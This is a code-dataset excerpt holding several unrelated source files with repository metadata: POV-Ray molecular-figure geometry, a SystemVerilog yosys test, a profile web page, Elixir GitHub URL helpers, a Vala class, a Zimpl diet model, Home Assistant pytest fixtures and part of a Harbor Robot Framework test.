VMD_cylinder(<0.20972049,-0.17126566,-0.09108627>,<0.14739871,-0.24886435,-0.13206762>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.20972049,-0.17126566,-0.09108627>,<0.26542664,-0.18050337,-0.08800942>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.20972049,-0.17126566,-0.09108627>,<0.16288602,-0.10341018,-0.16861385>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.20972049,-0.17126566,-0.09108627>,<0.21652496,-0.02331382,-0.10922104>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.04673898,0.12150007,-0.25429207>,<-0.12941492,0.06283605,-0.14972520>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.04673898,0.12150007,-0.25429207>,<-0.05354357,-0.02645177,-0.23615730>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.04673898,0.12150007,-0.25429207>,<-0.08383095,0.12504464,-0.29683131>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.04673898,0.12150007,-0.25429207>,<-0.07792699,0.04708856,-0.25888133>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.04673898,0.12150007,-0.25429207>,<-0.10919571,0.04405546,-0.29535931>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.04673898,0.12150007,-0.25429207>,<0.03465641,0.04297268,-0.25021672>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.04673898,0.12150007,-0.25429207>,<0.08829534,0.12306899,-0.19082397>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.04673898,0.12150007,-0.25429207>,<0.02238715,0.15290970,-0.22683048>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.06034815,-0.17440349,-0.21802253>,<-0.09807789,-0.18472689,-0.25886196>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.06034815,-0.17440349,-0.21802253>,<-0.05972385,-0.22851062,-0.23445415>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.06034815,-0.17440349,-0.21802253>,<0.07468617,-0.17283458,-0.15455443>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.06034815,-0.17440349,-0.21802253>,<0.00595438,-0.20438725,-0.18303579>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.06034815,-0.17440349,-0.21802253>,<0.01236451,-0.25043327,-0.19553572>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.06034815,-0.17440349,-0.21802253>,<-0.05354357,-0.02645177,-0.23615730>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.06034815,-0.17440349,-0.21802253>,<-0.08473158,-0.10086322,-0.24074656>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.06034815,-0.17440349,-0.21802253>,<-0.11600029,-0.10389632,-0.27722454>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.22332966,0.12463802,-0.12735581>,<0.10593343,0.17022610,-0.05420625>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.22332966,0.12463802,-0.12735581>,<0.19668686,0.06662500,0.00354743>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.22332966,0.12463802,-0.12735581>,<0.21652496,-0.02331382,-0.10922104>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.22332966,0.12463802,-0.12735581>,<0.08829534,0.12306899,-0.19082397>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.22332966,0.12463802,-0.12735581>,<0.16969061,0.04454160,-0.18674862>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.22332966,0.12463802,-0.12735581>,<0.15742135,0.15447861,-0.16336238>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.22332966,0.12463802,-0.12735581>,<0.24817479,0.05087751,-0.10560870>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.22332966,0.12463802,-0.12735581>,<0.27967358,0.12926823,-0.12597880>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.03071916,-0.20287603,0.07026309>,<-0.11454612,-0.22144860,0.05732077>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.03071916,-0.20287603,0.07026309>,<-0.09658945,-0.17302436,0.03436044>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.03071916,-0.20287603,0.07026309>,<0.03314531,-0.21973258,0.12673795>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.03071916,-0.20287603,0.07026309>,<0.03844488,-0.17145544,0.09782854>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.03071916,-0.20287603,0.07026309>,<-0.04116142,-0.24376780,0.09349090>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.03071916,-0.20287603,0.07026309>,<-0.04299188,-0.09301698,0.09365889>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.03071916,-0.20287603,0.07026309>,<0.06966245,-0.09713197,0.10235691>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.03071916,-0.20287603,0.07026309>,<0.08950067,-0.18707085,-0.01041159>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.05160367,-0.28465950,0.11671871>,<-0.12498838,-0.26234037,0.08054858>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.05160367,-0.28465950,0.11671871>,<-0.10703170,-0.21391612,0.05758822>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.05160367,-0.28465950,0.11671871>,<0.02270305,-0.26062435,0.14996576>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.05160367,-0.28465950,0.11671871>,<0.02800250,-0.21234721,0.12105632>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.05160367,-0.28465950,0.11671871>,<-0.04116142,-0.24376780,0.09349090>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.01146281,0.21581423,0.01894331>,<-0.08015668,0.18427259,-0.00943422>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.01146281,0.21581423,0.01894331>,<-0.11177683,0.10999316,-0.01310751>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.01146281,0.21581423,0.01894331>,<-0.03336370,0.11632818,0.06799901>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.01146281,0.21581423,0.01894331>,<0.05487764,0.18584150,0.05403388>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.01146281,0.21581423,0.01894331>,<0.07929063,0.11221319,0.07669702>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.01146281,0.21581423,0.01894331>,<0.05428660,0.23993844,0.07039505>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.01146281,0.21581423,0.01894331>,<-0.01790607,0.26187044,0.03151372>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.01146281,0.21581423,0.01894331>,<0.10593343,0.17022610,-0.05420625>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.02434957,0.30792671,0.04408410>,<-0.01790607,0.26187044,0.03151372>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.02434957,0.30792671,0.04408410>,<-0.09984839,0.28427869,0.01354828>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.02434957,0.30792671,0.04408410>,<0.04784310,0.28599471,0.08296546>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.17004395,0.00861210,0.13445073>,<0.13882637,-0.06571138,0.12992233>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.17004395,0.00861210,0.13445073>,<0.06966245,-0.09713197,0.10235691>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.17004395,0.00861210,0.13445073>,<0.05738962,0.01272714,0.12575272>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.17004395,0.00861210,0.13445073>,<0.14563096,0.08224040,0.11178756>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.17004395,0.00861210,0.13445073>,<0.07929063,0.11221319,0.07669702>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.17004395,0.00861210,0.13445073>,<0.18339407,0.09255362,0.15255657>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.17004395,0.00861210,0.13445073>,<0.20127952,0.01165539,0.17099920>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.17004395,0.00861210,0.13445073>,<0.19668686,0.06662500,0.00354743>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.23251498,0.01469857,0.20754772>,<0.20718718,-0.06622297,0.20893970>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.23251498,0.01469857,0.20754772>,<0.17686641,0.08528358,0.14833605>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.23251498,0.01469857,0.20754772>,<0.20127952,0.01165539,0.17099920>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.23251498,0.01469857,0.20754772>,<0.21462953,0.09559685,0.18910509>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.21209085,0.00417215,-0.04515836>,<-0.24358606,-0.07414079,-0.02479777>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.21209085,0.00417215,-0.04515836>,<-0.18727535,-0.06950033,-0.02335030>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.21209085,0.00417215,-0.04515836>,<-0.23614371,0.08767903,-0.04463238>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.21209085,0.00417215,-0.04515836>,<-0.18047076,0.07845145,-0.04148507>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.21209085,0.00417215,-0.04515836>,<-0.26021200,0.00629336,-0.04590866>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.21209085,0.00417215,-0.04515836>,<-0.13367778,0.01050711,0.03594819>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.21209085,0.00417215,-0.04515836>,<-0.11177683,0.10999316,-0.01310751>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.21209085,0.00417215,-0.04515836>,<-0.12941492,0.06283605,-0.14972520>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.30833316,0.00841451,-0.04665896>,<-0.29170722,-0.07201958,-0.02554810>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.30833316,0.00841451,-0.04665896>,<-0.23539650,-0.06737918,-0.02410060>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.30833316,0.00841451,-0.04665896>,<-0.28426486,0.08980024,-0.04538268>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.30833316,0.00841451,-0.04665896>,<-0.22859192,0.08057261,-0.04223537>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.30833316,0.00841451,-0.04665896>,<-0.26021200,0.00629336,-0.04590866>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.07225680,-0.23437107,-0.14804924>,<0.00657856,-0.25849444,-0.19946754>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07225680,-0.23437107,-0.14804924>,<0.00595438,-0.20438725,-0.18303579>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07225680,-0.23437107,-0.14804924>,<0.15427005,-0.25677842,-0.13005036>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07225680,-0.23437107,-0.14804924>,<0.14098859,-0.20281833,-0.11956772>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07225680,-0.23437107,-0.14804924>,<0.07866693,-0.28041708,-0.16054910>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07225680,-0.23437107,-0.14804924>,<0.09415424,-0.13496292,-0.19709533>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07225680,-0.23437107,-0.14804924>,<0.17263830,-0.12862700,-0.11595541>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07225680,-0.23437107,-0.14804924>,<-0.01842916,-0.13084704,-0.20575994>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.08507717,-0.32646313,-0.17304903>,<0.01298869,-0.30454049,-0.21196747>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.08507717,-0.32646313,-0.17304903>,<0.01236451,-0.25043327,-0.19553572>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.08507717,-0.32646313,-0.17304903>,<0.16068017,-0.30282447,-0.14255029>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.08507717,-0.32646313,-0.17304903>,<0.14739871,-0.24886435,-0.13206762>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.08507717,-0.32646313,-0.17304903>,<0.07866693,-0.28041708,-0.16054910>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.09151316,0.18431920,-0.19936901>,<0.02238715,0.15290970,-0.22683048>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.09151316,0.18431920,-0.19936901>,<-0.00880086,0.07849813,-0.23141986>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.09151316,0.18431920,-0.19936901>,<0.10378242,0.07438225,-0.22275525>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.09151316,0.18431920,-0.19936901>,<0.15742135,0.15447861,-0.16336238>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.09151316,0.18431920,-0.19936901>,<0.18226659,0.08071816,-0.14161530>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.09151316,0.18431920,-0.19936901>,<0.17541122,0.20289260,-0.18639326>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.09151316,0.18431920,-0.19936901>,<0.10192215,0.22522110,-0.22252625>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.09151316,0.18431920,-0.19936901>,<0.02771974,0.20117658,-0.25581044>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.11233127,0.26612312,-0.24568361>,<0.10192215,0.22522110,-0.22252625>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.11233127,0.26612312,-0.24568361>,<0.03812873,0.24207860,-0.27896780>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.11233127,0.26612312,-0.24568361>,<0.18582022,0.24379462,-0.20955056>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.10911494,-0.02732289,-0.26347071>,<-0.12246138,-0.11118662,-0.28158611>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.10911494,-0.02732289,-0.26347071>,<-0.08473158,-0.10086322,-0.24074656>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.10911494,-0.02732289,-0.26347071>,<-0.11501902,0.05063319,-0.30142069>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.10911494,-0.02732289,-0.26347071>,<-0.07792699,0.04708856,-0.25888133>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.10911494,-0.02732289,-0.26347071>,<-0.14038372,-0.03035599,-0.29994863>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.10911494,-0.02732289,-0.26347071>,<0.00346828,-0.03143883,-0.25480610>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.10911494,-0.02732289,-0.26347071>,<-0.00880086,0.07849813,-0.23141986>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.10911494,-0.02732289,-0.26347071>,<-0.01842916,-0.13084704,-0.20575994>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.17165238,-0.03338909,-0.33642668>,<-0.15373015,-0.11421973,-0.31806415>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.17165238,-0.03338909,-0.33642668>,<-0.11600029,-0.10389632,-0.27722454>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.17165238,-0.03338909,-0.33642668>,<-0.14628780,0.04760009,-0.33789873>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.17165238,-0.03338909,-0.33642668>,<-0.10919571,0.04405546,-0.29535931>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.17165238,-0.03338909,-0.33642668>,<-0.14038372,-0.03035599,-0.29994863>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.27301991,-0.02288294,-0.08386159>,<0.17263830,-0.12862700,-0.11595541>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.27301991,-0.02288294,-0.08386159>,<0.19453573,-0.02921879,-0.16500157>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.27301991,-0.02288294,-0.08386159>,<0.24817479,0.05087751,-0.10560870>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.27301991,-0.02288294,-0.08386159>,<0.18226659,0.08071816,-0.14161530>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.27301991,-0.02288294,-0.08386159>,<0.30451870,0.05550778,-0.10423175>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.27301991,-0.02288294,-0.08386159>,<0.32110775,-0.02499396,-0.08304080>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.27301991,-0.02288294,-0.08386159>,<0.29707634,-0.10631204,-0.08439714>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.36919570,-0.02710503,-0.08222002>,<0.34516430,-0.10842311,-0.08357635>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.36919570,-0.02710503,-0.08222002>,<0.32110775,-0.02499396,-0.08304080>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.36919570,-0.02710503,-0.08222002>,<0.35260665,0.05339670,-0.10341096>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
// End of POV-Ray 3.x generation
| POV-Ray SDL | 5 | benjaminbolbrinker/RASPA2 | Docs/InputFiles/Figures/MOF-1-cif/plot.pov | [
"MIT"
] |
module top(input i, output o);
A A();
B B();
assign A.i = i;
assign o = B.o;
always @* assert(o == i);
endmodule
module A;
wire i, y;
`ifdef FAIL
assign B.x = i;
`else
assign B.x = !i;
`endif
assign y = !B.y;
endmodule
module B;
wire x, y, o;
assign y = x, o = A.y;
endmodule
| SystemVerilog | 3 | gudeh/yosys | tests/sva/extnets.sv | [
"ISC"
] |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Ross Gray - Profile</title>
<!-- Bootstrap -->
<link href="css/styles.css" rel="stylesheet">
<!-- Fonts -->
<link href='http://fonts.googleapis.com/css?family=Josefin+Sans:400,700,400italic,700italic|PT+Sans+Caption:400,700|Raleway:400,700' rel='stylesheet' type='text/css'>
<!-- Font Awesome -->
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body data-spy="scroll" data-target="#site-nav">
<nav id="site-nav" class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand scroll" href="#intro-carousel">Ross Gray</a>
</div>
<div class="collapse navbar-collapse" id="navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="#about-me" class="scroll">About Me <span class="sr-only">(current)</span></a></li>
<li><a href="#skills" class="scroll">Skills</a></li>
<li><a href="#education" class="scroll" >Education</a></li>
<li><a href="#employment" class="scroll">Employment</a></li>
</ul>
</div><!-- /.navbar-collapse -->
</div>
</nav>
<section id="intro-carousel">
<header>
<h1>Ross Gray</h1>
<h2>Software Engineer</h2>
<h5>based in London, England</h5>
<div class="contact">
<a id="email" href="#" class="btn btn-round btn-clear btn-email">
<i class="fa fa-lg fa-envelope"></i>
</a>
<a href="https://www.linkedin.com/in/rossgray1" target="_blank" class="btn btn-round btn-clear btn-linkedin">
<i class="fa fa-lg fa-linkedin-square"></i>
</a>
<a href="https://github.com/rossgray" target="_blank" class="btn btn-round btn-clear btn-github">
<i class="fa fa-lg fa-github"></i>
</a>
</div>
</header>
<a class="scroll" href="#about-me"><i class="fa fa-3x fa-angle-double-down animated infinite bounce"></i></a>
</section>
<section id="about-me" class="cv-section">
<div class="container">
<div class="row">
<div class="col-xs-12 heading">
<h2>About me</h2>
</div>
<div class="col-sm-6 col-md-3 hidden-xs">
<img src="images/profile.jpg" class="img-responsive" alt="Ross Gray" />
</div>
<div class="col-xs-12 col-sm-6 col-md-8">
<p>I am a software engineer based in London. I have experience working on large-scale transactional systems, in addition to front-end and back-end web development. My current position is at <a href="http://www.ingresso.co.uk/" target="_blank">Ingresso</a> where I am employed as a full-stack web developer. I am one of those lucky people who love their job.</p>
<p>In my free time I enjoy travelling, taking photos, playing various sports (tennis, squash, golf, cycling) and cooking.</p>
</div>
</div>
</div>
</section>
<!-- @include skills.kit -->
<!-- @include education.kit -->
<!-- @include employment.kit -->
<script src="js/script-min.js"></script>
</body>
</html>
| Kit | 3 | smola/language-dataset | data/github.com/rossgray/rossgray.github.io/5006ee1e608f039a11bdad8235399b248f700d4d/source/kit/index.kit | [
"MIT"
] |
defmodule ChatApi.Github.Helpers do
@moduledoc """
Helpers for Github context
"""
alias ChatApi.Github
alias ChatApi.Github.GithubAuthorization
@github_issue_regex ~r/https?:\/\/github\.com\/(?:[^\/\s]+\/)+(?:issues\/\d+)/
@spec extract_github_issue_links(binary() | nil) :: [String.t()]
def extract_github_issue_links(nil), do: []
def extract_github_issue_links(str) do
@github_issue_regex
|> Regex.scan(str)
|> Enum.map(fn [match] -> match end)
end
@spec contains_github_issue_link?(binary()) :: boolean()
def contains_github_issue_link?(str) do
case extract_github_issue_links(str) do
[_ | _] -> true
[] -> false
end
end
@spec parse_github_issue_url(binary()) ::
{:error, :invalid_github_issue_url} | {:ok, %{id: binary, owner: binary, repo: binary}}
def parse_github_issue_url(url) do
url
|> extract_github_url_path()
|> String.split("/")
|> case do
[owner, repo, "issues", id] -> {:ok, %{owner: owner, repo: repo, id: id}}
_ -> {:error, :invalid_github_issue_url}
end
end
@spec parse_github_repo_url(binary()) ::
{:error, :invalid_github_repo_url} | {:ok, %{owner: binary, repo: binary}}
def parse_github_repo_url(url) do
url
|> extract_github_url_path()
|> String.split("/")
|> case do
[owner, repo | _] -> {:ok, %{owner: owner, repo: repo}}
_ -> {:error, :invalid_github_repo_url}
end
end
@spec extract_github_url_path(binary()) :: binary()
def extract_github_url_path(url) do
case String.split(url, "github.com/") do
[_protocol, path] -> path
_ -> ""
end
end
@spec subscribed_to_repo?(binary(), GithubAuthorization.t()) :: boolean()
def subscribed_to_repo?(github_repo_url, %GithubAuthorization{} = auth) do
with {:ok, %{body: %{"repositories" => repositories}}} <-
Github.Client.list_installation_repos(auth, per_page: 100),
{:ok, %{owner: owner, repo: repo}} <- parse_github_repo_url(github_repo_url) do
Enum.any?(repositories, fn
%{"name" => ^repo, "owner" => %{"login" => ^owner}} -> true
_ -> false
end)
else
_ -> false
end
end
@spec can_access_issue?(binary(), GithubAuthorization.t()) :: boolean()
def can_access_issue?(url, %GithubAuthorization{} = auth) do
with {:ok, %{owner: owner, repo: repo, id: id}} <- Github.Helpers.parse_github_issue_url(url),
{:ok, %{body: %{"title" => _title, "body" => _body, "state" => _state}}} <-
Github.Client.retrieve_issue(auth, owner, repo, id) do
true
else
_ -> false
end
end
@spec parse_github_issue_state(String.t()) :: String.t()
def parse_github_issue_state("open"), do: "unstarted"
def parse_github_issue_state("closed"), do: "done"
def parse_github_issue_state(_state), do: "unstarted"
end
| Elixir | 5 | ZmagoD/papercups | lib/chat_api/github/helpers.ex | [
"MIT"
] |
public class Beer : Object {
public string flavor {
get;
construct;
}
public Beer(string flavor) {
Object(flavor: flavor);
}
}
| Vala | 3 | kira78/meson | test cases/vala/18 vapi consumed twice/beer.vala | [
"Apache-2.0"
] |
set Food := { "F1", "F2", "F3" };
set NutritionalFeature := { "Energy", "N1", "N2", "N3" };
set Attr := NutritionalFeature + { "Price" };
param needed[NutritionalFeature] := <"Energy"> 2000, <"N1"> 200, <"N2"> 50, <"N3"> 150; #Energy (kcal), Nn (g)
param data[Food * Attr] :=
| "Energy" , "N1" , "N2", "N3" , "Price" |
|"F1" | 14 , 0.1 , 0.1 , 0.8 , 1 |
|"F2" | 25 , 0.5 , 0.3 , 0.2 , 2 |
|"F3" | 20 , 0.4 , 0.5 , 0.55 , 3 |;
# (kcal/g) (%) (%) (%) (euro/g)
var x[<f> in Food] real >= 0; #(g)
minimize cost: sum <f> in Food : data[f, "Price"] * x[f];
subto need :
forall <n> in NutritionalFeature do
sum <f> in Food : data[f, n] * x[f] >= needed[n];
| Zimpl | 5 | ajnavarro/language-dataset | data/github.com/lorenzogentile404/foodhack-cph-2018/8a3cecf4fe9345689dc6fb7edb5870c139f6440e/diet.zpl | [
"MIT"
] |
"""Fixtures for the Open-Meteo integration tests."""
from __future__ import annotations
from collections.abc import Generator
from unittest.mock import MagicMock, patch
from open_meteo import Forecast
import pytest
from homeassistant.components.open_meteo.const import DOMAIN
from homeassistant.const import CONF_ZONE
from tests.common import MockConfigEntry, load_fixture
@pytest.fixture
def mock_config_entry() -> MockConfigEntry:
"""Return the default mocked config entry."""
return MockConfigEntry(
title="Home",
domain=DOMAIN,
data={CONF_ZONE: "zone.home"},
unique_id="zone.home",
)
@pytest.fixture
def mock_setup_entry() -> Generator[None, None, None]:
"""Mock setting up a config entry."""
with patch(
"homeassistant.components.open_meteo.async_setup_entry", return_value=True
):
yield
@pytest.fixture
def mock_open_meteo(request: pytest.FixtureRequest) -> Generator[None, MagicMock, None]:
"""Return a mocked Open-Meteo client."""
fixture: str = "forecast.json"
if hasattr(request, "param") and request.param:
fixture = request.param
forecast = Forecast.parse_raw(load_fixture(fixture, DOMAIN))
with patch(
"homeassistant.components.open_meteo.OpenMeteo", autospec=True
) as open_meteo_mock:
open_meteo = open_meteo_mock.return_value
open_meteo.forecast.return_value = forecast
yield open_meteo
| Python | 5 | MrDelik/core | tests/components/open_meteo/conftest.py | [
"Apache-2.0"
] |
# Copyright Project Harbor Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License
*** Settings ***
Documentation Harbor BATs
Resource ../../resources/Util.robot
Default Tags Nightly
*** Variables ***
${HARBOR_URL} https://${ip}
${SSH_USER} root
${HARBOR_ADMIN} admin
*** Test Cases ***
Test Case - List Helm Charts And Download And Delete Chart Files
Body Of List Helm Charts
Test Case - Helm CLI Push
Init Chrome Driver
${user}= Set Variable user004
${pwd}= Set Variable Test1@34
Sign In Harbor ${HARBOR_URL} ${user} ${pwd}
